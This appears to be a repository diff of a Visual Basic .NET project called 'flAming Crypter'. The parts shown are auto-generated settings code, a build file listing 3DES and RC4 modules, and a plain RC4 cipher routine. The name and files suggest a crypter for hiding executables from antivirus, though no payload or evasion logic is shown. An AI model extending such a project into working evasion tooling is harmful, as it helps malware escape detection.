Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.flAmingCrypter.My.MySettings
|
||||
Get
|
||||
Return Global.flAmingCrypter.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,133 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProductVersion>9.0.30729</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{91A1671A-D9C2-4B09-9784-1D7D5CAD1056}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<StartupObject>flAmingCrypter.My.MyApplication</StartupObject>
|
||||
<RootNamespace>flAmingCrypter</RootNamespace>
|
||||
<AssemblyName>flAming Crypter</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>WindowsForms</MyType>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
<OptionStrict>Off</OptionStrict>
|
||||
<OptionInfer>On</OptionInfer>
|
||||
<ApplicationIcon>DM-Empty.ico</ApplicationIcon>
|
||||
<FileUpgradeFlags>
|
||||
</FileUpgradeFlags>
|
||||
<UpgradeBackupLocation>
|
||||
</UpgradeBackupLocation>
|
||||
<OldToolsVersion>3.5</OldToolsVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>flAming Crypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>flAming Crypter.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Import Include="Microsoft.VisualBasic" />
|
||||
<Import Include="System" />
|
||||
<Import Include="System.Collections" />
|
||||
<Import Include="System.Collections.Generic" />
|
||||
<Import Include="System.Data" />
|
||||
<Import Include="System.Drawing" />
|
||||
<Import Include="System.Diagnostics" />
|
||||
<Import Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="3des.vb" />
|
||||
<Compile Include="Form1.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form1.Designer.vb">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Form2.Designer.vb">
|
||||
<DependentUpon>Form2.vb</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Form2.vb">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||
<Compile Include="My Project\Application.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Application.myapp</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Resources.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DesignTime>True</DesignTime>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="My Project\Settings.Designer.vb">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
<Compile Include="rc4.vb" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Form2.resx">
|
||||
<DependentUpon>Form2.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="31.ico" />
|
||||
<Content Include="DM-Empty.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 54 KiB |
@@ -0,0 +1,53 @@
|
||||
Imports System.Text
|
||||
|
||||
Public Class rc4
|
||||
Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
|
||||
Dim i As Integer = 0
|
||||
Dim j As Integer = 0
|
||||
Dim cipher As New StringBuilder
|
||||
Dim returnCipher As String = String.Empty
|
||||
Dim sbox As Integer() = New Integer(256) {}
|
||||
Dim key As Integer() = New Integer(256) {}
|
||||
Dim intLength As Integer = password.Length
|
||||
Dim a As Integer = 0
|
||||
While a <= 255
|
||||
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
|
||||
|
||||
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
|
||||
sbox(a) = a
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
Dim x As Integer = 0
|
||||
Dim b As Integer = 0
|
||||
While b <= 255
|
||||
x = (x + sbox(b) + key(b)) Mod 256
|
||||
Dim tempSwap As Integer = sbox(b)
|
||||
sbox(b) = sbox(x)
|
||||
sbox(x) = tempSwap
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
|
||||
End While
|
||||
|
||||
a = 1
|
||||
|
||||
While a <= message.Length
|
||||
Dim itmp As Integer = 0
|
||||
i = (i + 1) Mod 256
|
||||
j = (j + sbox(i)) Mod 256
|
||||
itmp = sbox(i)
|
||||
sbox(i) = sbox(j)
|
||||
sbox(j) = itmp
|
||||
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
|
||||
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
|
||||
itmp = Asc(ctmp)
|
||||
Dim cipherby As Integer = itmp Xor k
|
||||
cipher.Append(Chr(cipherby))
|
||||
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
|
||||
End While
|
||||
|
||||
returnCipher = cipher.ToString
|
||||
cipher.Length = 0
|
||||
|
||||
Return returnCipher
|
||||
|
||||
End Function
|
||||
End Class
|
||||
Reference in New Issue
Block a user